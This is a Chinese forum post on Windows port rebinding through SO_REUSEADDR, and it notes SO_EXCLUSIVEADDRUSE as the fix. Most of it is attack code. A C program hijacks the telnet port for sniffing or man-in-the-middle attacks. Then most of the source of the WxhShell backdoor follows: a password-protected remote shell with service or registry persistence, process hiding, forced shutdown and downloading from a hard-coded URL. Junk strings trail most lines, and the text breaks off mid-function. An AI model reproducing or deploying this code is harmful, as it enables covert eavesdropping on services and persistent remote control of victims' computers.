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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VG\mo?G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oWD)+5. ]  
7)PJ:4IqS  
  saddr.sin_family = AF_INET; 1 ;Ju]  
@ KJV1t`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?>)yKa#U  
L1MrrC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lM&UFEl-\  
?waebuj>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c(:Oyba  
b]K>vhQV  
  这意味着什么?意味着可以进行如下的攻击: WY.5K =}  
#7C6yXb%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V2QW\2@$  
JX&~y.F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;Xh5oB\)W  
Oo/8Y E @  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "3ug}k  
AY@k-4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5Jd` ^U  
;*`_#Rn#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 EP0a1.C  
OequU'j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C M^r|4 K  
>Qk97we'9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ER2V*,n@  
~,G]glu8  
  #include ?1$\pq^  
  #include 9F)W19i.  
  #include h/9Sg*k  
  #include    hOn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %Y 2G  
  int main()  0/*X=5  
  { q06@SD$   
  WORD wVersionRequested; CwB] )QV?  
  DWORD ret; 43F^J%G  
  WSADATA wsaData; EGEMZCdk2  
  BOOL val; `=v@i9cTZ  
  SOCKADDR_IN saddr; DZ%8 |PmB  
  SOCKADDR_IN scaddr; X_!$Pk7ma  
  int err; _;V YFs  
  SOCKET s; U-ULQ|6U  
  SOCKET sc; |QMT A5  
  int caddsize; )=Y-f?o!  
  HANDLE mt; _[0I^o  
  DWORD tid;   R{ 4u|A?9  
  wVersionRequested = MAKEWORD( 2, 2 ); T#/11M$uQ  
  err = WSAStartup( wVersionRequested, &wsaData ); AD,@,|A  
  if ( err != 0 ) { W7T" d4  
  printf("error!WSAStartup failed!\n"); _&=9Ke  
  return -1; XC2Q*Z  
  } ]Qc: Zy3  
  saddr.sin_family = AF_INET; ',%5mF3j  
   b2W;|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eoJFh  
G*=H;Upi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <@%ma2  
  saddr.sin_port = htons(23); 8m \;P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #-A5Z;TD.  
  { E8 \\X  
  printf("error!socket failed!\n"); Yr:>icz|  
  return -1; nT)~w s  
  } BHIM'24bp  
  val = TRUE; 8@Q"YA 3d+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7V |"~%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) '2j~WUEmg  
  { sgR 9d  
  printf("error!setsockopt failed!\n"); zEAx:6`c  
  return -1; : qr} M  
  } @!Y.935/0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sAf9rZt*'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]KzJ u`O%G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Mru~<:9  
-IGMl_s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [10$a(g\x  
  { x9 TuweG  
  ret=GetLastError(); cFe V?a  
  printf("error!bind failed!\n"); ;,R[]B01u  
  return -1; @RQ+JYQi  
  } :E}6S  
  listen(s,2); "hz>{oe  
  while(1) i^~sn `o  
  { 5N Fq7&rJ6  
  caddsize = sizeof(scaddr); e-1;dX HL  
  //接受连接请求 n2H&t>N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t% <pbZO  
  if(sc!=INVALID_SOCKET) 5BZ+b_A>VV  
  { _8Pmv$   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yFIl^Ck%  
  if(mt==NULL) JHHb|  
  { EC0zH#N  
  printf("Thread Creat Failed!\n"); n&3iz05}  
  break; 7ucx6J]c  
  } .`b4h"g:  
  } Al)lWD}j2g  
  CloseHandle(mt); }7otuO(pRo  
  } se }pdL}  
  closesocket(s); lrq>TJEcx  
  WSACleanup(); (q0No26;(  
  return 0; 7O]J^H+7  
  }   "Wxo[I  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1*TXDo_T  
  { -wJ   
  SOCKET ss = (SOCKET)lpParam; ccIDMJ=2  
  SOCKET sc; 8|fLe\"  
  unsigned char buf[4096]; D<lQoO+  
  SOCKADDR_IN saddr; Cln^1N0  
  long num; <aD'$(N5  
  DWORD val; 5+o 2 T]  
  DWORD ret; VZAuUw+M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tvG g@Xs\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hqdC9?\  
  saddr.sin_family = AF_INET; `8.1&fBr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); IY-(- a8  
  saddr.sin_port = htons(23); F0X5dv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "v*oga%  
  { ^U R-#WaQ  
  printf("error!socket failed!\n"); >aNbp  
  return -1; B:B0p+$I  
  } W*1d X"S  
  val = 100; T2;v<(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m T>b ;  
  { #JHy[!4  
  ret = GetLastError(); (jD'+ "?  
  return -1;  zZS>+O  
  } k8!hvJ)?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UUt~W  
  { ay!6 T`U`  
  ret = GetLastError(); <L[T'ZE+  
  return -1; liBAJx  
  } HQ ELK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q"x`+?!  
  { v4nv Z6  
  printf("error!socket connect failed!\n"); 0(Yh~{   
  closesocket(sc); oAIY=z  
  closesocket(ss); )*q7pO\cty  
  return -1; &<\4q  
  } IBn'iE[>  
  while(1) B<vvsp\X  
  { !Qj)tS#Az  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &;SwLDF"1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 m70`{-O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s{x*~M$vt  
  num = recv(ss,buf,4096,0); yf0vR%,\  
  if(num>0) 5i}CzA96  
  send(sc,buf,num,0); N>W;0u!  
  else if(num==0) 7C,<iY  
  break;  r{; VTQ  
  num = recv(sc,buf,4096,0); 0:7v/S!:  
  if(num>0) ]j%*"V  
  send(ss,buf,num,0); r&H=i  
  else if(num==0) IG2`9rR  
  break;  60Xl.  
  } [qO5~E`;  
  closesocket(ss); tal>b]B;  
  closesocket(sc); $9LGdKZ_D  
  return 0 ; B;Q`vKY  
  } f }evw K[S  
F:[Nw#gj/  
%RfY`n  
========================================================== o>/uW8  
s= -WB0E  
下边附上一个代码,,WXhSHELL 1[fkXO{  
1 Ovx$ *  
========================================================== *o:B oP=S  
op.PS{_t  
#include "stdafx.h" 3[00-~&U  
'PmHBQvt&  
#include <stdio.h> i{1)=_$Vt`  
#include <string.h> bv:0EdVr  
#include <windows.h> n',9#I(!L  
#include <winsock2.h> jWO&SWso  
#include <winsvc.h> )sqp7["-  
#include <urlmon.h> : pE-{3I  
\S|VkPv  
#pragma comment (lib, "Ws2_32.lib") i4{ /  
#pragma comment (lib, "urlmon.lib") ~:ub  
U#UVenp@  
#define MAX_USER   100 // 最大客户端连接数 Kd AR)EU>  
#define BUF_SOCK   200 // sock buffer pUCEYR  
#define KEY_BUFF   255 // 输入 buffer ^^t]vojX  
X$j|/))  
#define REBOOT     0   // 重启 MIk #60Ab  
#define SHUTDOWN   1   // 关机 eE#81]'6a  
cAsSN.HFS  
#define DEF_PORT   5000 // 监听端口  gnKU\>2k  
rS,* s'G  
#define REG_LEN     16   // 注册表键长度 5 ~ *'>y  
#define SVC_LEN     80   // NT服务名长度 wHo#%Y,Nmi  
On2Vf*G@|  
// 从dll定义API ~8Dd<4?F]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M; S-ESQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5W:Gl?$S}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sTYuwna~   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U:etcnb4w>  
(|ct`KU0#  
// wxhshell配置信息 lyOrM7Gs  
struct WSCFG { o%N0K   
  int ws_port;         // 监听端口 I49=ozPP  
  char ws_passstr[REG_LEN]; // 口令 n41\y:CAo  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^,ZvKA"}+/  
  char ws_regname[REG_LEN]; // 注册表键名 ya*q;D  
  char ws_svcname[REG_LEN]; // 服务名 btB(n<G2#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !)51v {  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W~+!"^<n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g[D,\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zn?a|kt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D/!eov4"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~NxoF  
@Z=y'yc'y.  
}; -6 7f33  
6"rFfdns  
// default Wxhshell configuration !,-qn)b  
struct WSCFG wscfg={DEF_PORT, Li<266#A!  
    "xuhuanlingzhe", ([4{n  
    1, fDm}J  
    "Wxhshell", u[6`Jr~  
    "Wxhshell", k{u%p<  
            "WxhShell Service", ]( U%1  
    "Wrsky Windows CmdShell Service", oN1wrf}Sh  
    "Please Input Your Password: ", Jb)eC?6O  
  1, @]VvqCk  
  "http://www.wrsky.com/wxhshell.exe", y!{/'{?P  
  "Wxhshell.exe" #Ko+_Hm?4  
    }; ui#1+p3G  
5>z:[OdY*  
// 消息定义模块 ^JF_;~C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fi-&[llg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6&xW9' 6b:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XM5;AcD  
char *msg_ws_ext="\n\rExit."; pFv[z':&Q  
char *msg_ws_end="\n\rQuit."; >/OXC+=^4  
char *msg_ws_boot="\n\rReboot..."; _ /2 8Cw  
char *msg_ws_poff="\n\rShutdown..."; i5~ /+~  
char *msg_ws_down="\n\rSave to "; &oK/ ]lub  
R^Eu}?<f  
char *msg_ws_err="\n\rErr!"; 2dV\=vd  
char *msg_ws_ok="\n\rOK!"; 83 ^,'Z  
PUFW^"LV  
char ExeFile[MAX_PATH]; .o,51dn+ s  
int nUser = 0; ekk&TTp#  
HANDLE handles[MAX_USER]; ?` ZGM  
int OsIsNt; {dSU \':  
iR}i42Cu  
SERVICE_STATUS       serviceStatus; S;AnpiBM8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uK&wS#uY  
h+'eFAZ  
// 函数声明 ZZ.0'   
int Install(void); krnk%ug  
int Uninstall(void); L!}j3(I  
int DownloadFile(char *sURL, SOCKET wsh); ?\p%Mx?   
int Boot(int flag); 2" {]A;@  
void HideProc(void); !A^w6Q;`V  
int GetOsVer(void); Z@aL"@2]a  
int Wxhshell(SOCKET wsl); RxDxLU2kt  
void TalkWithClient(void *cs); yfw>y=/p  
int CmdShell(SOCKET sock); r@@eC['  
int StartFromService(void); %[ bO\,  
int StartWxhshell(LPSTR lpCmdLine); }zfLm` vJ  
BQfAen]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J/&*OC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0 f#a_  
]zR;%p  
// 数据结构和表定义 XGup,7e9  
SERVICE_TABLE_ENTRY DispatchTable[] = ,;ruH^  
{ BO\`m%8md  
{wscfg.ws_svcname, NTServiceMain}, Er+3S@sfq,  
{NULL, NULL} H/la'f#o%  
}; fOjt` ~ToI  
d\<aJOi+-  
// 自我安装 #/sE{jm  
int Install(void) 02 c.;ka3  
{ [Jh))DIx  
  char svExeFile[MAX_PATH]; >fzzrD}]  
  HKEY key; Vi -!E  
  strcpy(svExeFile,ExeFile); AYQh=$)(  
ujHzG}2z  
// 如果是win9x系统,修改注册表设为自启动 ZtK%b+MBP  
if(!OsIsNt) { .gsu_N_v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KL\=:iWA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "E[*rnsLN  
  RegCloseKey(key); n YMf[kW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cq;K,B9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '  ^L  
  RegCloseKey(key); hw.demD  
  return 0; E?5B>Jer#  
    } ;NVTn<Uj  
  } uM!r|X)8  
} f!kdcr=/"  
else { <Phr`/  
{^O/MMB\\%  
// 如果是NT以上系统,安装为系统服务 SVEA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gqz)='  
if (schSCManager!=0) J<:D~@qq  
{ :bF2b..XOu  
  SC_HANDLE schService = CreateService %|6Q7'@p  
  ( 7z0 uj  
  schSCManager, WMRgf~TY=2  
  wscfg.ws_svcname, ~Wd8>a{w  
  wscfg.ws_svcdisp, ]X;*\-  
  SERVICE_ALL_ACCESS, !rmo*-=^=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K~~*M?.Z  
  SERVICE_AUTO_START, cw-JGqLx  
  SERVICE_ERROR_NORMAL, `0vy+T5  
  svExeFile, [&}<! :9'  
  NULL, ;%.k}R%O@  
  NULL, 6!PX! UkF  
  NULL, ?|rw=%  
  NULL, Gg,k  
  NULL T`0gtSS  
  ); *E q7r>[  
  if (schService!=0) 3K] 0sr  
  {  G/;aZ  
  CloseServiceHandle(schService); zgOwSg8  
  CloseServiceHandle(schSCManager); b0CaoSWo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M@ZpgAfq  
  strcat(svExeFile,wscfg.ws_svcname); <T~fh>a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RpXGgw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &XTd[_VW!  
  RegCloseKey(key); EC\:uK  
  return 0; gK_[3FiKt  
    } (dnc7KrM  
  } K]Cs2IpI  
  CloseServiceHandle(schSCManager); iK0J{'  
} HQj4h]O#  
} JWjp<{Q; 1  
:v ~q  
return 1; ~l(tl[  
} B9Tztg  
BJ2W }R  
// 自我卸载 oa|*-nw  
int Uninstall(void) ' "p*FN  
{ |Dpfh  
  HKEY key; p%tg->#L  
8pt<)Rs}  
if(!OsIsNt) { FQRcZpv;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nk.E q[08  
  RegDeleteValue(key,wscfg.ws_regname); :@'0)7  
  RegCloseKey(key); tF1%=&ss  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _( /lBf{|  
  RegDeleteValue(key,wscfg.ws_regname); gxtbu$  
  RegCloseKey(key); tdK^X1  
  return 0; AsF`A"Cdw<  
  } :u+#:8u  
} <G=@Gl  
} &!fcLJd  
else { B>2 1A9&  
5!fW&OiY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vy y\^nL  
if (schSCManager!=0) ITPp T  
{ JNCtsfd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w:(7fu=  
  if (schService!=0) -zkL)<7  
  { ``CADiM:S  
  if(DeleteService(schService)!=0) { vK~KeZ\,p=  
  CloseServiceHandle(schService); 4?uG> ;V  
  CloseServiceHandle(schSCManager); UwT$IKR  
  return 0; [`dipLkr  
  } _qNLy/AY  
  CloseServiceHandle(schService); '0rwNEg  
  } -{mq\GvGn  
  CloseServiceHandle(schSCManager); nit7|T@^  
} +>({pHZ<S  
} |.W;vc<  
l[{}ZKZ  
return 1; bncFrzp#o  
} ="E V@H?U  
K<(sqH  
// 从指定url下载文件 1<e%)? G  
int DownloadFile(char *sURL, SOCKET wsh) >7Q7H#~w  
{ %*}f<k{6  
  HRESULT hr; <7) 6*u  
char seps[]= "/"; h(up1(x  
char *token; >?FCv7qN  
char *file; 8 z7,W3b  
char myURL[MAX_PATH]; P#oV ^  
char myFILE[MAX_PATH]; {Oszq(A  
@b({QM|  
strcpy(myURL,sURL); Q(7l<z  
  token=strtok(myURL,seps); _3>zi.J/  
  while(token!=NULL) zjE4v-H:l  
  { cNv c pv  
    file=token; ( "z;Q?(  
  token=strtok(NULL,seps); 3&:fS|L~c  
  } qRLypm  
6%1o<{(%f  
GetCurrentDirectory(MAX_PATH,myFILE); T+!kRigN~P  
strcat(myFILE, "\\"); sR nMBW.  
strcat(myFILE, file); X.|0E87  
  send(wsh,myFILE,strlen(myFILE),0); (Ad! hyE(  
send(wsh,"...",3,0); l))IO`s=_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C>ZeG Vq  
  if(hr==S_OK) NWj@iyi<  
return 0; C =U4|h~W  
else KHiJOeLc  
return 1; OO>2oH  
pBLO  
} *?Y6qalSy  
7^5BnF@  
// 系统电源模块 ;O>fy :$'  
int Boot(int flag) 5,Zn$zosJC  
{ X:/t>0e  
  HANDLE hToken; i(rY'o2 BN  
  TOKEN_PRIVILEGES tkp; net9K X4\  
px@\b]/  
  if(OsIsNt) { H:6$) #  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0k [6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nsk 6a  
    tkp.PrivilegeCount = 1; 49GCj`As  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m"]ys #  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M+:wa@K l  
if(flag==REBOOT) { t68RWzqiG[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TaG-^bX8B  
  return 0; 1YL5 ![T  
} bux-t3g7+  
else { 8?XZF[D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X.<R['U&\  
  return 0; l[k$O$jo  
} ? Y* PVx9Y  
  } YZ@-0_Z  
  else { \f#ao<vQm  
if(flag==REBOOT) { Ymom 0g+ f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YvX I  
  return 0; [*t E HW  
} ") D!OW]  
else { qC1@p?8$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -^DB?j+  
  return 0; UtN>6$u  
} jfamuu7  
} ow "Xv  
;0'v`ob'.?  
return 1; Z ngJ9js  
} @35 shLs  
wP*Z/}Uum+  
// win9x进程隐藏模块 _!zY(9%  
void HideProc(void) 3FN? CN] O  
{ 3LR Eue7Gr  
vKf=t&gqr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g=Di2j{A  
  if ( hKernel != NULL ) -f=hL7NW  
  { /jD'o>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KG$2u:n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9j`-fs@:  
    FreeLibrary(hKernel); |{T2|iJI  
  } wQT'~'kL  
6* 7&X#gG  
return; _L":Wux  
} bSfQH4F  
HenJlo  
// 获取操作系统版本 ~@lNBF  
int GetOsVer(void) F04Etf 2k  
{ R8l9i2  
  OSVERSIONINFO winfo; :F&WlU$L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )w-?|2-w5  
  GetVersionEx(&winfo); CCV~nf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rd)QVEk>SD  
  return 1; tUQ)q  
  else d/1XL[&  
  return 0; s9iM hCu|  
} \BL9}5y  
 s25012  
// 客户端句柄模块 tS$Ne7yk e  
int Wxhshell(SOCKET wsl) nP^$p C  
{ o6 /?WR9  
  SOCKET wsh; D 3PF(Wx  
  struct sockaddr_in client; "|if<hx+  
  DWORD myID; 3nO|A: t  
DZue.or  
  while(nUser<MAX_USER) h.*|4;  
{ (agdgy:#  
  int nSize=sizeof(client); .FUE F)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;/@R{G{+~;  
  if(wsh==INVALID_SOCKET) return 1; 2olim1  
9[`6f8S_$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I1g u<a  
if(handles[nUser]==0) }wV rmDh \  
  closesocket(wsh); !T*izMX}  
else 9=|5-? ^  
  nUser++; !r<7]nwV  
  } cu-WY8n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]G:xTv8  
[C$ 0HW  
  return 0; #_d%hr~d  
} }1V&(#H2  
$dR%8@.H  
// 关闭 socket XebCl{HHp  
void CloseIt(SOCKET wsh) uT1x\Rt|e  
{ _D~a4tgS  
closesocket(wsh); k{~5pxd-t  
nUser--; z2V!u\It  
ExitThread(0); D)5wGp  
} VI?[8@*Z  
"q$M\jK#V  
// 客户端请求句柄 x?3p3[y  
void TalkWithClient(void *cs) bm;4NA?Gg  
{ ]9' \<uR  
rhrlEf@  
  SOCKET wsh=(SOCKET)cs; ]Uu/1TTf  
  char pwd[SVC_LEN]; |fUSq1//  
  char cmd[KEY_BUFF]; y{&,YV&_h  
char chr[1]; nMhc3t  
int i,j; .NKN2  
4:.M*Dz  
  while (nUser < MAX_USER) { /SiQw7yp%  
L|<Mtw  
if(wscfg.ws_passstr) { {'1,JwSmb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <6@Db$-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $Ix^Rm9c  
  //ZeroMemory(pwd,KEY_BUFF); }^H_|;e1p  
      i=0; *b&|  
  while(i<SVC_LEN) { J8jbtL O'  
\21!NPXH2  
  // 设置超时 bu]bfnYi9  
  fd_set FdRead; GB#7w82  
  struct timeval TimeOut; d^7<l_u~ !  
  FD_ZERO(&FdRead); !Ej<J&e  
  FD_SET(wsh,&FdRead); Rh=h{O  
  TimeOut.tv_sec=8; {?8rvAj Y  
  TimeOut.tv_usec=0; i |t$sBIh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q45n.A6a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z8o Sh t`+  
;.iy{&$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5q\]]LV>  
  pwd=chr[0]; TtzB[F  
  if(chr[0]==0xd || chr[0]==0xa) { [Y[|:_+5  
  pwd=0; Q8_d]V=X:  
  break; Q-\: u~  
  }  #u~8Txt  
  i++; R#0UwRjeF  
    } % n^]1R#  
\|Mz'*  
  // 如果是非法用户,关闭 socket di|l?l^l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cd4G&(=  
} B#=dz,}  
rB4]TQ`c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G]{)yZ'}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y0 xte&  
.m .v$(  
while(1) { ' `S,d[~  
^Oo%`(D?  
  ZeroMemory(cmd,KEY_BUFF); qg_=5s  
/wQDcz  
      // 自动支持客户端 telnet标准   {J[0UZ6  
  j=0; k{; 2*6b0  
  while(j<KEY_BUFF) { V[~/sc )  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lr`yl$6  
  cmd[j]=chr[0]; w0pH|$"/P  
  if(chr[0]==0xa || chr[0]==0xd) { B{44|aq1|  
  cmd[j]=0; 3oh(d. Z  
  break; 1c]GS&(RP  
  } &W1cc#(  
  j++; r'&VH]m  
    } ;e+ErN`a.~  
4XRVluD%W.  
  // 下载文件 a$ Z06j  
  if(strstr(cmd,"http://")) { =cxjb,r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SJ<nAX  
  if(DownloadFile(cmd,wsh)) 0L'h5i>H)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oYW:p tJ  
  else HJDM\j*5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )gZ yW  
  } (f7R~le  
  else { &T{+B:*v  
yJ?6BLJi  
    switch(cmd[0]) { ~x2azY2DP  
  _di[PU=Vh  
  // 帮助 ikUG`F%W  
  case '?': { 8/k* "^3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F8q|$[nH  
    break; ^5OR%N)  
  } HN\9 d  
  // 安装 0y*8;7-|r)  
  case 'i': { Uo# Pe@ieQ  
    if(Install()) @,$>H 7o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Esd A %`  
    else d4~!d>{n|c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZjWI~"]  
    break; />H9T[3=  
    } #}o*1  
  // 卸载 t\ ym4`"  
  case 'r': { s~3"*,3@  
    if(Uninstall()) {>9vm!<[*\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `2G 0B@  
    else ^)TZHc2a[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D KR2b`J  
    break; Y f1?3 (0O  
    } >o.4sN@  
  // 显示 wxhshell 所在路径 T< D&%)  
  case 'p': { ta %yQd7  
    char svExeFile[MAX_PATH]; u{J$]%C   
    strcpy(svExeFile,"\n\r"); F8nR.|  
      strcat(svExeFile,ExeFile); *y0TtEd;  
        send(wsh,svExeFile,strlen(svExeFile),0); f-^JI*hj  
    break; S/V%<<[>p]  
    } 1GE[*$vuq  
  // 重启 =XVw{\#9 b  
  case 'b': { + JsMYv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bZLY#g7L"  
    if(Boot(REBOOT)) FG/1!8F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ka0MuQ M  
    else { uWkW T.>$  
    closesocket(wsh); XU_gvz  
    ExitThread(0); f["c,,[  
    } ]De<'x}  
    break; XkDIP4v%  
    } I|(r1.[K  
  // 关机 "\3C)Nz?  
  case 'd': { ~m3Q^ue  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yhc}*BMZ  
